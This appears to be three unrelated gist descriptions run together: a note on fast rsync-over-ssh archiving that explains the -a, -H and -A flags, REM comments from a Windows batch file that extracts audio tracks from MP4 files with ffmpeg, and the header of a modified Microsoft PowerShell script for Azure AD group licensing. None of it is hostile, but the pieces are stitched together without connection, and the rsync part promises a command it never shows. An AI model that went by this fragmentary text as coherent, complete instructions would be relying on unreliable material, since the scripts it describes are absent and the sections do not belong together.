The fastest remote directory rsync over ssh archival I can muster (40MB/s over 1gb NICs)

This creates an archive that does the following:

rsync (Everyone seems to like -z, but it is much slower for me)

• a: archive mode - rescursive, preserves owner, preserves permissions, preserves modification times, preserves group, copies symlinks as symlinks, preserves device files.
• H: preserves hard-links
• A: preserves ACLs

REM This script will check all MP4 files in the current folder
REM and process them to extract audio into separate files (M4A).
REM The audio files use the same file name as the original video file, with a number, and the M4A extension
REM This is a batch file, to be run on Windows, in Command Line. 
REM For Linux, see the "extract-audio.sh" gist below
REM In this example, there are 2 audio tracks, which get split out to 2 separate audio files.
REM The original video file remains unchanged.
REM If you want have a video file with more than 2 audio tracks, 
REM just add more "-map 0:a:0 -c copy "%~na audio track 1.m4a"" sections:
REM -map 0:a:0 -c copy "%~na audio track 1.m4a"

  Modified version of the script from Microsoft Documentation.
  Removed the part that checks if the users is assigned more products than the group assigned license.
  Added connection part and help to find Sku and Group Object ID.
  This script requires Azure AD (aks MSOL) PowerShell v1. It doesn't seem possible to do so with v2.
